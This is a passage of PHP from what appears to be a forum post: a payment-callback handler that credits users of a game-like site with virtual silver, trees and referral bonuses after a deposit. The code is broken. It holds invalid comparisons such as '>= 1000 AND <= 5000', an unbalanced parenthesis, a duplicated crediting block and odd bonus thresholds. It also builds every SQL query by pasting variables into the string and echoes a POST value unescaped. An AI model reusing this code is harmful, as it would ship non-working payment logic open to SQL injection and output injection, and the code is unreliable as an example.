    $serebro = intval($ins_sum <= 0.01) ? ($serebro + ($serebro * 0.30) ) : $serebro;
    $serebro = intval($ins_sum >= 1000 AND <= 5000) ? ($serebro + ($serebro * 0.75) ) : $serebro;
    $serebro = intval($ins_sum >= 5001 AND <= 7000) ? ($serebro + ($serebro * 1) ) : $serebro;
    $serebro = intval($ins_sum >= 7001 AND <= 9000) ? ($serebro + ($serebro * 1.2) ) : $serebro;
    $serebro = intval($ins_sum >= 10000) ? ($serebro + ($serebro * 2) ) : $serebro;
$to_referer = intval($ins_sum <= 0.01) ? ($serebro * 0.15) ) : $serebro * 0;
    $add_tree = ( $ik_payment_amount >= 49900000.99) ? 2 : 0;
    $lsb = time();
    //$to_referer = ($serebro * 0.10);
   $db->Query("UPDATE db_users_b SET money_b = money_b + '$serebro', e_t = e_t + '$add_tree', to_referer = to_referer + '$to_referer', last_sbor = '$lsb', insert_sum = insert_sum + '$ik_payment_amount' WHERE id = '{$user_id}'");
   # Зачисляем средства рефереру и дерево
   $add_tree_referer = ($ins_sum <= 0.01) ? ", a_t = a_t + 1" : "";
   $db->Query("UPDATE db_users_b SET money_b = money_b + $to_referer, from_referals = from_referals + '$to_referer' {$add_tree_referer} WHERE id = '$refid'");
   # Статистика пополнений
   $da = time();
   $dd = $da + 60*60*24*15;
   $db->Query("INSERT INTO db_insert_money (user, user_id, money, serebro, date_add, date_del)
   VALUES ('$user_name','$user_id','$ik_payment_amount','$serebro','$da','$dd')");
        # Конкурс
         $competition = new competition($db);
         $competition->UpdatePoints($user_id, $ik_payment_amount);
        #--------
         $wmset = new wmset();
         $marray = $wmset->GetSet($ik_payment_amount);
         $a_t = intval($marray["t_a"]);
         $b_t = intval($marray["t_b"]);
         $c_t = intval($marray["t_c"]);
         $d_t = intval($marray["t_d"]);
         $e_t = intval($marray["t_e"]);
        $db->Query("UPDATE db_users_b SET a_t = a_t + '$a_t', b_t = b_t + '$b_t', c_t = c_t + '$c_t', d_t = d_t + '$d_t', e_t = e_t + '$e_t',
        last_sbor = '$lsb' WHERE id = '{$user_id}'");

    $wmset = new wmset();
    $marray = $wmset->GetSet($ik_payment_amount);
    $a_t = intval($marray["t_a"]);
    $b_t = intval($marray["t_b"]);
    $c_t = intval($marray["t_c"]);
    $d_t = intval($marray["t_d"]);
    $e_t = intval($marray["t_e"]);

    $db->Query("UPDATE db_users_b SET a_t = a_t + '$a_t', b_t = b_t + '$b_t', c_t = c_t + '$c_t', d_t = d_t + '$d_t', e_t = e_t + '$e_t',
    last_sbor = '$lsb' WHERE id = '{$user_id}'");

    # Обновление статистики сайта
    $db->Query("UPDATE db_stats SET all_insert = all_insert + '$ik_payment_amount' WHERE id = '1'");

    echo $_POST['m_orderid']."|success";
    exit;

    }
    echo $_POST['m_orderid']."|error";
}
?>
 
Статус
В этой теме нельзя размещать новые ответы.
Сверху